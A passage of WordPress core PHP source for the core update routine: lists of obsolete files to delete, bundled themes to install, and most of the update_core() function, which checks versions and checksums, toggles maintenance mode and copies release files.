	'wp-includes/js/jquery/ui/jquery.ui.effect-bounce.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-clip.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-drop.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-explode.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-fade.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-fold.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-highlight.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-pulsate.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-scale.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-shake.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-slide.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-transfer.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.menu.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.mouse.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.position.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.progressbar.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.resizable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.selectable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.slider.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.sortable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.spinner.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.tabs.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.tooltip.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.widget.min.js',
	'wp-includes/js/tinymce/skins/wordpress/images/dashicon-no-alt.png',
	// 4.3
	'wp-admin/js/wp-fullscreen.js',
	'wp-admin/js/wp-fullscreen.min.js',
	'wp-includes/js/tinymce/wp-mce-help.php',
	'wp-includes/js/tinymce/plugins/wpfullscreen',
	// 4.5
	'wp-includes/theme-compat/comments-popup.php',
	// 4.6
	'wp-admin/includes/class-wp-automatic-upgrader.php', // Wrong file name, see #37628.
	// 4.8
	'wp-includes/js/tinymce/plugins/wpembed',
	'wp-includes/js/tinymce/plugins/media/moxieplayer.swf',
	'wp-includes/js/tinymce/skins/lightgray/fonts/readme.md',
	'wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.json',
	'wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.json',
	'wp-includes/js/tinymce/skins/lightgray/skin.ie7.min.css',
	// 4.9
	'wp-admin/css/press-this-editor-rtl.css',
	'wp-admin/css/press-this-editor-rtl.min.css',
	'wp-admin/css/press-this-editor.css',
	'wp-admin/css/press-this-editor.min.css',
	'wp-admin/css/press-this-rtl.css',
	'wp-admin/css/press-this-rtl.min.css',
	'wp-admin/css/press-this.css',
	'wp-admin/css/press-this.min.css',
	'wp-admin/includes/class-wp-press-this.php',
	'wp-admin/js/bookmarklet.js',
	'wp-admin/js/bookmarklet.min.js',
	'wp-admin/js/press-this.js',
	'wp-admin/js/press-this.min.js',
	'wp-includes/js/mediaelement/background.png',
	'wp-includes/js/mediaelement/bigplay.png',
	'wp-includes/js/mediaelement/bigplay.svg',
	'wp-includes/js/mediaelement/controls.png',
	'wp-includes/js/mediaelement/controls.svg',
	'wp-includes/js/mediaelement/flashmediaelement.swf',
	'wp-includes/js/mediaelement/froogaloop.min.js',
	'wp-includes/js/mediaelement/jumpforward.png',
	'wp-includes/js/mediaelement/loading.gif',
	'wp-includes/js/mediaelement/silverlightmediaelement.xap',
	'wp-includes/js/mediaelement/skipback.png',
	'wp-includes/js/plupload/plupload.flash.swf',
	'wp-includes/js/plupload/plupload.full.min.js',
	'wp-includes/js/plupload/plupload.silverlight.xap',
	'wp-includes/js/swfupload/plugins',
	'wp-includes/js/swfupload/swfupload.swf',
	// 4.9.2
	'wp-includes/js/mediaelement/lang',
	'wp-includes/js/mediaelement/mediaelement-flash-audio-ogg.swf',
	'wp-includes/js/mediaelement/mediaelement-flash-audio.swf',
	'wp-includes/js/mediaelement/mediaelement-flash-video-hls.swf',
	'wp-includes/js/mediaelement/mediaelement-flash-video-mdash.swf',
	'wp-includes/js/mediaelement/mediaelement-flash-video.swf',
	'wp-includes/js/mediaelement/renderers/dailymotion.js',
	'wp-includes/js/mediaelement/renderers/dailymotion.min.js',
	'wp-includes/js/mediaelement/renderers/facebook.js',
	'wp-includes/js/mediaelement/renderers/facebook.min.js',
	'wp-includes/js/mediaelement/renderers/soundcloud.js',
	'wp-includes/js/mediaelement/renderers/soundcloud.min.js',
	'wp-includes/js/mediaelement/renderers/twitch.js',
	'wp-includes/js/mediaelement/renderers/twitch.min.js',
	// 5.0
	'wp-includes/js/codemirror/jshint.js',
	// 5.1
	'wp-includes/js/tinymce/wp-tinymce.js.gz',
	// 5.3
	'wp-includes/js/wp-a11y.js',     // Moved to: wp-includes/js/dist/a11y.js
	'wp-includes/js/wp-a11y.min.js', // Moved to: wp-includes/js/dist/a11y.min.js
	// 5.4
	'wp-admin/js/wp-fullscreen-stub.js',
	'wp-admin/js/wp-fullscreen-stub.min.js',
	// 5.5
	'wp-admin/css/ie.css',
	'wp-admin/css/ie.min.css',
	'wp-admin/css/ie-rtl.css',
	'wp-admin/css/ie-rtl.min.css',
	// 5.6
	'wp-includes/js/jquery/ui/position.min.js',
	'wp-includes/js/jquery/ui/widget.min.js',
	// 5.7
	'wp-includes/blocks/classic/block.json',
	// 5.8
	'wp-admin/images/freedoms.png',
	'wp-admin/images/privacy.png',
	'wp-admin/images/about-badge.svg',
	'wp-admin/images/about-color-palette.svg',
	'wp-admin/images/about-color-palette-vert.svg',
	'wp-admin/images/about-header-brushes.svg',
	'wp-includes/block-patterns/large-header.php',
	'wp-includes/block-patterns/heading-paragraph.php',
	'wp-includes/block-patterns/quote.php',
	'wp-includes/block-patterns/text-three-columns-buttons.php',
	'wp-includes/block-patterns/two-buttons.php',
	'wp-includes/block-patterns/two-images.php',
	'wp-includes/block-patterns/three-buttons.php',
	'wp-includes/block-patterns/text-two-columns-with-images.php',
	'wp-includes/block-patterns/text-two-columns.php',
	'wp-includes/block-patterns/large-header-button.php',
	'wp-includes/blocks/subhead',
	'wp-includes/css/dist/editor/editor-styles.css',
	'wp-includes/css/dist/editor/editor-styles.min.css',
	'wp-includes/css/dist/editor/editor-styles-rtl.css',
	'wp-includes/css/dist/editor/editor-styles-rtl.min.css',
	// 5.9
	'wp-includes/blocks/heading/editor.css',
	'wp-includes/blocks/heading/editor.min.css',
	'wp-includes/blocks/heading/editor-rtl.css',
	'wp-includes/blocks/heading/editor-rtl.min.css',
	'wp-includes/blocks/query-title/editor.css',
	'wp-includes/blocks/query-title/editor.min.css',
	'wp-includes/blocks/query-title/editor-rtl.css',
	'wp-includes/blocks/query-title/editor-rtl.min.css',
	'wp-includes/blocks/tag-cloud/editor.css',
	'wp-includes/blocks/tag-cloud/editor.min.css',
	'wp-includes/blocks/tag-cloud/editor-rtl.css',
	'wp-includes/blocks/tag-cloud/editor-rtl.min.css',
	// 6.1
	'wp-includes/blocks/post-comments.php',
	'wp-includes/blocks/post-comments',
	'wp-includes/blocks/comments-query-loop',
	// 6.3
	'wp-includes/images/wlw',
	'wp-includes/wlwmanifest.xml',
	'wp-includes/random_compat',
	// 6.4
	'wp-includes/navigation-fallback.php',
	'wp-includes/blocks/navigation/view-modal.min.js',
	'wp-includes/blocks/navigation/view-modal.js',
	// 6.5
	'wp-includes/ID3/license.commercial.txt',
	'wp-includes/blocks/query/style-rtl.min.css',
	'wp-includes/blocks/query/style.min.css',
	'wp-includes/blocks/query/style-rtl.css',
	'wp-includes/blocks/query/style.css',
	'wp-admin/images/about-header-privacy.svg',
	'wp-admin/images/about-header-about.svg',
	'wp-admin/images/about-header-credits.svg',
	'wp-admin/images/about-header-freedoms.svg',
	'wp-admin/images/about-header-contribute.svg',
	'wp-admin/images/about-header-background.svg',
);

/**
 * Stores Requests files to be preloaded and deleted.
 *
 * For classes/interfaces, use the class/interface name
 * as the array key.
 *
 * All other files/directories should not have a key.
 *
 * @since 6.2.0
 *
 * @global array $_old_requests_files
 * @var array
 * @name $_old_requests_files
 */
global $_old_requests_files;

$_old_requests_files = array(
	// Interfaces.
	'Requests_Auth'                              => 'wp-includes/Requests/Auth.php',
	'Requests_Hooker'                            => 'wp-includes/Requests/Hooker.php',
	'Requests_Proxy'                             => 'wp-includes/Requests/Proxy.php',
	'Requests_Transport'                         => 'wp-includes/Requests/Transport.php',

	// Classes.
	'Requests_Auth_Basic'                        => 'wp-includes/Requests/Auth/Basic.php',
	'Requests_Cookie_Jar'                        => 'wp-includes/Requests/Cookie/Jar.php',
	'Requests_Exception_HTTP'                    => 'wp-includes/Requests/Exception/HTTP.php',
	'Requests_Exception_Transport'               => 'wp-includes/Requests/Exception/Transport.php',
	'Requests_Exception_HTTP_304'                => 'wp-includes/Requests/Exception/HTTP/304.php',
	'Requests_Exception_HTTP_305'                => 'wp-includes/Requests/Exception/HTTP/305.php',
	'Requests_Exception_HTTP_306'                => 'wp-includes/Requests/Exception/HTTP/306.php',
	'Requests_Exception_HTTP_400'                => 'wp-includes/Requests/Exception/HTTP/400.php',
	'Requests_Exception_HTTP_401'                => 'wp-includes/Requests/Exception/HTTP/401.php',
	'Requests_Exception_HTTP_402'                => 'wp-includes/Requests/Exception/HTTP/402.php',
	'Requests_Exception_HTTP_403'                => 'wp-includes/Requests/Exception/HTTP/403.php',
	'Requests_Exception_HTTP_404'                => 'wp-includes/Requests/Exception/HTTP/404.php',
	'Requests_Exception_HTTP_405'                => 'wp-includes/Requests/Exception/HTTP/405.php',
	'Requests_Exception_HTTP_406'                => 'wp-includes/Requests/Exception/HTTP/406.php',
	'Requests_Exception_HTTP_407'                => 'wp-includes/Requests/Exception/HTTP/407.php',
	'Requests_Exception_HTTP_408'                => 'wp-includes/Requests/Exception/HTTP/408.php',
	'Requests_Exception_HTTP_409'                => 'wp-includes/Requests/Exception/HTTP/409.php',
	'Requests_Exception_HTTP_410'                => 'wp-includes/Requests/Exception/HTTP/410.php',
	'Requests_Exception_HTTP_411'                => 'wp-includes/Requests/Exception/HTTP/411.php',
	'Requests_Exception_HTTP_412'                => 'wp-includes/Requests/Exception/HTTP/412.php',
	'Requests_Exception_HTTP_413'                => 'wp-includes/Requests/Exception/HTTP/413.php',
	'Requests_Exception_HTTP_414'                => 'wp-includes/Requests/Exception/HTTP/414.php',
	'Requests_Exception_HTTP_415'                => 'wp-includes/Requests/Exception/HTTP/415.php',
	'Requests_Exception_HTTP_416'                => 'wp-includes/Requests/Exception/HTTP/416.php',
	'Requests_Exception_HTTP_417'                => 'wp-includes/Requests/Exception/HTTP/417.php',
	'Requests_Exception_HTTP_418'                => 'wp-includes/Requests/Exception/HTTP/418.php',
	'Requests_Exception_HTTP_428'                => 'wp-includes/Requests/Exception/HTTP/428.php',
	'Requests_Exception_HTTP_429'                => 'wp-includes/Requests/Exception/HTTP/429.php',
	'Requests_Exception_HTTP_431'                => 'wp-includes/Requests/Exception/HTTP/431.php',
	'Requests_Exception_HTTP_500'                => 'wp-includes/Requests/Exception/HTTP/500.php',
	'Requests_Exception_HTTP_501'                => 'wp-includes/Requests/Exception/HTTP/501.php',
	'Requests_Exception_HTTP_502'                => 'wp-includes/Requests/Exception/HTTP/502.php',
	'Requests_Exception_HTTP_503'                => 'wp-includes/Requests/Exception/HTTP/503.php',
	'Requests_Exception_HTTP_504'                => 'wp-includes/Requests/Exception/HTTP/504.php',
	'Requests_Exception_HTTP_505'                => 'wp-includes/Requests/Exception/HTTP/505.php',
	'Requests_Exception_HTTP_511'                => 'wp-includes/Requests/Exception/HTTP/511.php',
	'Requests_Exception_HTTP_Unknown'            => 'wp-includes/Requests/Exception/HTTP/Unknown.php',
	'Requests_Exception_Transport_cURL'          => 'wp-includes/Requests/Exception/Transport/cURL.php',
	'Requests_Proxy_HTTP'                        => 'wp-includes/Requests/Proxy/HTTP.php',
	'Requests_Response_Headers'                  => 'wp-includes/Requests/Response/Headers.php',
	'Requests_Transport_cURL'                    => 'wp-includes/Requests/Transport/cURL.php',
	'Requests_Transport_fsockopen'               => 'wp-includes/Requests/Transport/fsockopen.php',
	'Requests_Utility_CaseInsensitiveDictionary' => 'wp-includes/Requests/Utility/CaseInsensitiveDictionary.php',
	'Requests_Utility_FilteredIterator'          => 'wp-includes/Requests/Utility/FilteredIterator.php',
	'Requests_Cookie'                            => 'wp-includes/Requests/Cookie.php',
	'Requests_Exception'                         => 'wp-includes/Requests/Exception.php',
	'Requests_Hooks'                             => 'wp-includes/Requests/Hooks.php',
	'Requests_IDNAEncoder'                       => 'wp-includes/Requests/IDNAEncoder.php',
	'Requests_IPv6'                              => 'wp-includes/Requests/IPv6.php',
	'Requests_IRI'                               => 'wp-includes/Requests/IRI.php',
	'Requests_Response'                          => 'wp-includes/Requests/Response.php',
	'Requests_SSL'                               => 'wp-includes/Requests/SSL.php',
	'Requests_Session'                           => 'wp-includes/Requests/Session.php',

	// Directories.
	'wp-includes/Requests/Auth/',
	'wp-includes/Requests/Cookie/',
	'wp-includes/Requests/Exception/HTTP/',
	'wp-includes/Requests/Exception/Transport/',
	'wp-includes/Requests/Exception/',
	'wp-includes/Requests/Proxy/',
	'wp-includes/Requests/Response/',
	'wp-includes/Requests/Transport/',
	'wp-includes/Requests/Utility/',
);

/**
 * Stores new files in wp-content to copy
 *
 * The contents of this array indicate any new bundled plugins/themes which
 * should be installed with the WordPress Upgrade. These items will not be
 * re-installed in future upgrades, this behavior is controlled by the
 * introduced version present here being older than the current installed version.
 *
 * The content of this array should follow the following format:
 * Filename (relative to wp-content) => Introduced version
 * Directories should be noted by suffixing it with a trailing slash (/)
 *
 * @since 3.2.0
 * @since 4.7.0 New themes were not automatically installed for 4.4-4.6 on
 *              upgrade. New themes are now installed again. To disable new
 *              themes from being installed on upgrade, explicitly define
 *              CORE_UPGRADE_SKIP_NEW_BUNDLED as true.
 * @global array $_new_bundled_files
 * @var array
 * @name $_new_bundled_files
 */
global $_new_bundled_files;

$_new_bundled_files = array(
	'plugins/akismet/'          => '2.0',
	'themes/twentyten/'         => '3.0',
	'themes/twentyeleven/'      => '3.2',
	'themes/twentytwelve/'      => '3.5',
	'themes/twentythirteen/'    => '3.6',
	'themes/twentyfourteen/'    => '3.8',
	'themes/twentyfifteen/'     => '4.1',
	'themes/twentysixteen/'     => '4.4',
	'themes/twentyseventeen/'   => '4.7',
	'themes/twentynineteen/'    => '5.0',
	'themes/twentytwenty/'      => '5.3',
	'themes/twentytwentyone/'   => '5.6',
	'themes/twentytwentytwo/'   => '5.9',
	'themes/twentytwentythree/' => '6.1',
	'themes/twentytwentyfour/'  => '6.4',
);

/**
 * Upgrades the core of WordPress.
 *
 * This will create a .maintenance file at the base of the WordPress directory
 * to ensure that people can not access the website, when the files are being
 * copied to their locations.
 *
 * The files in the `$_old_files` list will be removed and the new files
 * copied from the zip file after the database is upgraded.
 *
 * The files in the `$_new_bundled_files` list will be added to the installation
 * if the version is greater than or equal to the old version being upgraded.
 *
 * The steps for the upgrader for after the new release is downloaded and
 * unzipped is:
 *   1. Test unzipped location for select files to ensure that unzipped worked.
 *   2. Create the .maintenance file in current WordPress base.
 *   3. Copy new WordPress directory over old WordPress files.
 *   4. Upgrade WordPress to new version.
 *     4.1. Copy all files/folders other than wp-content
 *     4.2. Copy any language files to WP_LANG_DIR (which may differ from WP_CONTENT_DIR
 *     4.3. Copy any new bundled themes/plugins to their respective locations
 *   5. Delete new WordPress directory path.
 *   6. Delete .maintenance file.
 *   7. Remove old files.
 *   8. Delete 'update_core' option.
 *
 * There are several areas of failure. For instance if PHP times out before step
 * 6, then you will not be able to access any portion of your site. Also, since
 * the upgrade will not continue where it left off, you will not be able to
 * automatically remove old files and remove the 'update_core' option. This
 * isn't that bad.
 *
 * If the copy of the new WordPress over the old fails, then the worse is that
 * the new WordPress directory will remain.
 *
 * If it is assumed that every file will be copied over, including plugins and
 * themes, then if you edit the default theme, you should rename it, so that
 * your changes remain.
 *
 * @since 2.7.0
 *
 * @global WP_Filesystem_Base $wp_filesystem          WordPress filesystem subclass.
 * @global array              $_old_files
 * @global array              $_old_requests_files
 * @global array              $_new_bundled_files
 * @global wpdb               $wpdb                   WordPress database abstraction object.
 * @global string             $wp_version
 * @global string             $required_php_version
 * @global string             $required_mysql_version
 *
 * @param string $from New release unzipped path.
 * @param string $to   Path to old WordPress installation.
 * @return string|WP_Error New WordPress version on success, WP_Error on failure.
 */
function update_core( $from, $to ) {
	global $wp_filesystem, $_old_files, $_old_requests_files, $_new_bundled_files, $wpdb;

	if ( function_exists( 'set_time_limit' ) ) {
		set_time_limit( 300 );
	}

	/*
	 * Merge the old Requests files and directories into the `$_old_files`.
	 * Then preload these Requests files first, before the files are deleted
	 * and replaced to ensure the code is in memory if needed.
	 */
	$_old_files = array_merge( $_old_files, array_values( $_old_requests_files ) );
	_preload_old_requests_classes_and_interfaces( $to );

	/**
	 * Filters feedback messages displayed during the core update process.
	 *
	 * The filter is first evaluated after the zip file for the latest version
	 * has been downloaded and unzipped. It is evaluated five more times during
	 * the process:
	 *
	 * 1. Before WordPress begins the core upgrade process.
	 * 2. Before Maintenance Mode is enabled.
	 * 3. Before WordPress begins copying over the necessary files.
	 * 4. Before Maintenance Mode is disabled.
	 * 5. Before the database is upgraded.
	 *
	 * @since 2.5.0
	 *
	 * @param string $feedback The core update feedback messages.
	 */
	apply_filters( 'update_feedback', __( 'Verifying the unpacked files&#8230;' ) );

	// Confidence check the unzipped distribution.
	$distro = '';
	$roots  = array( '/wordpress/', '/wordpress-mu/' );

	foreach ( $roots as $root ) {
		if ( $wp_filesystem->exists( $from . $root . 'readme.html' )
			&& $wp_filesystem->exists( $from . $root . 'wp-includes/version.php' )
		) {
			$distro = $root;
			break;
		}
	}

	if ( ! $distro ) {
		$wp_filesystem->delete( $from, true );

		return new WP_Error( 'insane_distro', __( 'The update could not be unpacked' ) );
	}

	/*
	 * Import $wp_version, $required_php_version, and $required_mysql_version from the new version.
	 * DO NOT globalize any variables imported from `version-current.php` in this function.
	 *
	 * BC Note: $wp_filesystem->wp_content_dir() returned unslashed pre-2.8.
	 */
	$versions_file = trailingslashit( $wp_filesystem->wp_content_dir() ) . 'upgrade/version-current.php';

	if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $versions_file ) ) {
		$wp_filesystem->delete( $from, true );

		return new WP_Error(
			'copy_failed_for_version_file',
			__( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' ),
			'wp-includes/version.php'
		);
	}

	$wp_filesystem->chmod( $versions_file, FS_CHMOD_FILE );

	/*
	 * `wp_opcache_invalidate()` only exists in WordPress 5.5 or later,
	 * so don't run it when upgrading from older versions.
	 */
	if ( function_exists( 'wp_opcache_invalidate' ) ) {
		wp_opcache_invalidate( $versions_file );
	}

	require WP_CONTENT_DIR . '/upgrade/version-current.php';
	$wp_filesystem->delete( $versions_file );

	$php_version    = PHP_VERSION;
	$mysql_version  = $wpdb->db_version();
	$old_wp_version = $GLOBALS['wp_version']; // The version of WordPress we're updating from.
	/*
	 * Note: str_contains() is not used here, as this file is included
	 * when updating from older WordPress versions, in which case
	 * the polyfills from wp-includes/compat.php may not be available.
	 */
	$development_build = ( false !== strpos( $old_wp_version . $wp_version, '-' ) ); // A dash in the version indicates a development release.
	$php_compat        = version_compare( $php_version, $required_php_version, '>=' );

	if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) {
		$mysql_compat = true;
	} else {
		$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' );
	}

	if ( ! $mysql_compat || ! $php_compat ) {
		$wp_filesystem->delete( $from, true );
	}

	$php_update_message = '';

	if ( function_exists( 'wp_get_update_php_url' ) ) {
		$php_update_message = '</p><p>' . sprintf(
			/* translators: %s: URL to Update PHP page. */
			__( '<a href="%s">Learn more about updating PHP</a>.' ),
			esc_url( wp_get_update_php_url() )
		);

		if ( function_exists( 'wp_get_update_php_annotation' ) ) {
			$annotation = wp_get_update_php_annotation();

			if ( $annotation ) {
				$php_update_message .= '</p><p><em>' . $annotation . '</em>';
			}
		}
	}

	if ( ! $mysql_compat && ! $php_compat ) {
		return new WP_Error(
			'php_mysql_not_compatible',
			sprintf(
				/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Minimum required MySQL version number, 4: Current PHP version number, 5: Current MySQL version number. */
				__( 'The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.' ),
				$wp_version,
				$required_php_version,
				$required_mysql_version,
				$php_version,
				$mysql_version
			) . $php_update_message
		);
	} elseif ( ! $php_compat ) {
		return new WP_Error(
			'php_not_compatible',
			sprintf(
				/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Current PHP version number. */
				__( 'The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s.' ),
				$wp_version,
				$required_php_version,
				$php_version
			) . $php_update_message
		);
	} elseif ( ! $mysql_compat ) {
		return new WP_Error(
			'mysql_not_compatible',
			sprintf(
				/* translators: 1: WordPress version number, 2: Minimum required MySQL version number, 3: Current MySQL version number. */
				__( 'The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s.' ),
				$wp_version,
				$required_mysql_version,
				$mysql_version
			)
		);
	}

	// Add a warning when the JSON PHP extension is missing.
	if ( ! extension_loaded( 'json' ) ) {
		return new WP_Error(
			'php_not_compatible_json',
			sprintf(
				/* translators: 1: WordPress version number, 2: The PHP extension name needed. */
				__( 'The update cannot be installed because WordPress %1$s requires the %2$s PHP extension.' ),
				$wp_version,
				'JSON'
			)
		);
	}

	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Preparing to install the latest version&#8230;' ) );

	/*
	 * Don't copy wp-content, we'll deal with that below.
	 * We also copy version.php last so failed updates report their old version.
	 */
	$skip              = array( 'wp-content', 'wp-includes/version.php' );
	$check_is_writable = array();

	// Check to see which files don't really need updating - only available for 3.7 and higher.
	if ( function_exists( 'get_core_checksums' ) ) {
		// Find the local version of the working directory.
		$working_dir_local = WP_CONTENT_DIR . '/upgrade/' . basename( $from ) . $distro;

		$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );

		if ( is_array( $checksums ) && isset( $checksums[ $wp_version ] ) ) {
			$checksums = $checksums[ $wp_version ]; // Compat code for 3.7-beta2.
		}

		if ( is_array( $checksums ) ) {
			foreach ( $checksums as $file => $checksum ) {
				/*
				 * Note: str_starts_with() is not used here, as this file is included
				 * when updating from older WordPress versions, in which case
				 * the polyfills from wp-includes/compat.php may not be available.
				 */
				if ( 'wp-content' === substr( $file, 0, 10 ) ) {
					continue;
				}

				if ( ! file_exists( ABSPATH . $file ) ) {
					continue;
				}

				if ( ! file_exists( $working_dir_local . $file ) ) {
					continue;
				}

				if ( '.' === dirname( $file )
					&& in_array( pathinfo( $file, PATHINFO_EXTENSION ), array( 'html', 'txt' ), true )
				) {
					continue;
				}

				if ( md5_file( ABSPATH . $file ) === $checksum ) {
					$skip[] = $file;
				} else {
					$check_is_writable[ $file ] = ABSPATH . $file;
				}
			}
		}
	}

	// If we're using the direct method, we can predict write failures that are due to permissions.
	if ( $check_is_writable && 'direct' === $wp_filesystem->method ) {
		$files_writable = array_filter( $check_is_writable, array( $wp_filesystem, 'is_writable' ) );

		if ( $files_writable !== $check_is_writable ) {
			$files_not_writable = array_diff_key( $check_is_writable, $files_writable );

			foreach ( $files_not_writable as $relative_file_not_writable => $file_not_writable ) {
				// If the writable check failed, chmod file to 0644 and try again, same as copy_dir().
				$wp_filesystem->chmod( $file_not_writable, FS_CHMOD_FILE );

				if ( $wp_filesystem->is_writable( $file_not_writable ) ) {
					unset( $files_not_writable[ $relative_file_not_writable ] );
				}
			}

			// Store package-relative paths (the key) of non-writable files in the WP_Error object.
			$error_data = version_compare( $old_wp_version, '3.7-beta2', '>' ) ? array_keys( $files_not_writable ) : '';

			if ( $files_not_writable ) {
				return new WP_Error(
					'files_not_writable',
					__( 'The update cannot be installed because your site is unable to copy some files. This is usually due to inconsistent file permissions.' ),
					implode( ', ', $error_data )
				);
			}
		}
	}

	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Enabling Maintenance mode&#8230;' ) );

	// Create maintenance file to signal that we are upgrading.
	$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
	$maintenance_file   = $to . '.maintenance';
	$wp_filesystem->delete( $maintenance_file );
	$wp_filesystem->put_contents( $maintenance_file, $maintenance_string, FS_CHMOD_FILE );

	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Copying the required files&#8230;' ) );

	// Copy new versions of WP files into place.
	$result = copy_dir( $from . $distro, $to, $skip );

	if ( is_wp_error( $result ) ) {
		$result = new WP_Error(
			$result->get_error_code(),
			$result->get_error_message(),
			substr( $result->get_error_data(), strlen( $to ) )
		);
	}

	// Since we know the core files have copied over, we can now copy the version file.
	if ( ! is_wp_error( $result ) ) {
		if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $to . 'wp-includes/version.php', true /* overwrite */ ) ) {
			$wp_filesystem->delete( $from, true );
			$result = new WP_Error(
				'copy_failed_for_version_file',
				__( 'The update cannot be installed because your site is unable to copy some files. This is usually due to inconsistent file permissions.' ),
				'wp-includes/version.php'
			);
		}

		$wp_filesystem->chmod( $to . 'wp-includes/version.php', FS_CHMOD_FILE );

		/*
		 * `wp_opcache_invalidate()` only exists in WordPress 5.5 or later,
		 * so don't run it when upgrading from older versions.
		 */
		if ( function_exists( 'wp_opcache_invalidate' ) ) {
			wp_opcache_invalidate( $to . 'wp-includes/version.php' );
		}
	}

	// Check to make sure everything copied correctly, ignoring the contents of wp-content.
	$skip   = array( 'wp-content' );
	$failed = array();

	if ( isset( $checksums ) && is_array( $checksums ) ) {
		foreach ( $checksums as $file => $checksum ) {
			/*
			 * Note: str_starts_with() is not used here, as this file is included
			 * when updating from older WordPress versions, in which case
			 * the polyfills from wp-includes/compat.php may not be available.
			 */
			if ( 'wp-content' === substr( $file, 0, 10 ) ) {
				continue;
			}

			if ( ! file_exists( $working_dir_local . $file ) ) {
				continue;
			}

			if ( '.' === dirname( $file )
				&& in_array( pathinfo( $file, PATHINFO_EXTENSION ), array( 'html', 'txt' ), true )
			) {
				$skip[] = $file;
				continue;
			}

			if ( file_exists( ABSPATH . $file ) && md5_file( ABSPATH . $file ) === $checksum ) {
				$skip[] = $file;
			} else {
				$failed[] = $file;
			}
		}
	}

	// Some files didn't copy properly.
	if ( ! empty( $failed ) ) {
		$total_size = 0;

		foreach ( $failed as $file ) {
			if ( file_exists( $working_dir_local . $file ) ) {
				$total_size += filesize( $working_dir_local . $file );
			}
		}

		/*
		 * If we don't have enough free space, it isn't worth trying again.
		 * Unlikely to be hit due to the check in unzip_file().
		 */
		$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( ABSPATH ) : false;

		if ( $available_space && $total_size >= $available_space ) {
			$result = new WP_Error( 'disk_full', __( 'There is not enough free disk space to complete the update.' ) );
		} else {
			$result = copy_dir( $from . $distro, $to, $skip );

			if ( is_wp_error( $result ) ) {
				$result = new WP_Error(
					$result->get_error_code() . '_retry',
					$result->get_error_message(),
					substr( $result->get_error_data(), strlen( $to ) )
				);
			}
		}
	}

	/*
	 * Custom content directory needs updating now.
	 * Copy languages.
	 */
	if ( ! is_wp_error( $result ) && $wp_filesystem->is_dir( $from . $distro . 'wp-content/languages' ) ) {
		if ( WP_LANG_DIR !== ABSPATH . WPINC . '/languages' || @is_dir( WP_LANG_DIR ) ) {
			$lang_dir = WP_LANG_DIR;
		} else {
			$lang_dir = WP_CONTENT_DIR . '/languages';
		}
		/*
		 * Note: str_starts_with() is not used here, as this file is included
		 * when updating from older WordPress versions, in which case
		 * the polyfills from wp-includes/compat.php may not be available.
		 */
		// Check if the language directory exists first.
		if ( ! @is_dir( $lang_dir ) && 0 === strpos( $lang_dir, ABSPATH ) ) {
			// If it's within the ABSPATH we can handle it here, otherwise they're out of luck.
			$wp_filesystem->mkdir( $to . str_replace( ABSPATH, '', $lang_dir ), FS_CHMOD_DIR );
			clearstatcache(); // For FTP, need to clear the stat cache.
		}

		if ( @is_dir( $lang_dir ) ) {
			$wp_lang_dir = $wp_filesystem->find_folder( $lang_dir );

			if ( $wp_lang_dir ) {
				$result = copy_dir( $from . $distro . 'wp-content/languages/', $wp_lang_dir );

				if ( is_wp_error( $result ) ) {
					$result = new WP_Error(
						$result->get_error_code() . '_languages',
						$result->get_error_message(),
						substr( $result->get_error_data(), strlen( $wp_lang_dir ) )
					);
				}
			}
		}
	}

	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Disabling Maintenance mode&#8230;' ) );

	// Remove maintenance file, we're done with potential site-breaking changes.
	$wp_filesystem->delete( $maintenance_file );

	/*
	 * 3.5 -> 3.5+ - an empty twentytwelve directory was created upon upgrade to 3.5 for some users,
	 * preventing installation of Twenty Twelve.
	 */
	if ( '3.5' === $old_wp_version ) {
		if ( is_dir( WP_CONTENT_DIR . '/themes/twentytwelve' )
			&& ! file_exists( WP_CONTENT_DIR . '/themes/twentytwelve/style.css' )
		) {
			$wp_filesystem->delete( $wp_filesystem->wp_themes_dir() . 'twentytwelve/' );
		}
	}

	/*
	 * Copy new bundled plugins & themes.
	 * This gives us the ability to install new plugins & themes bundled with
	 * future versions of WordPress whilst avoiding the re-install upon upgrade issue.
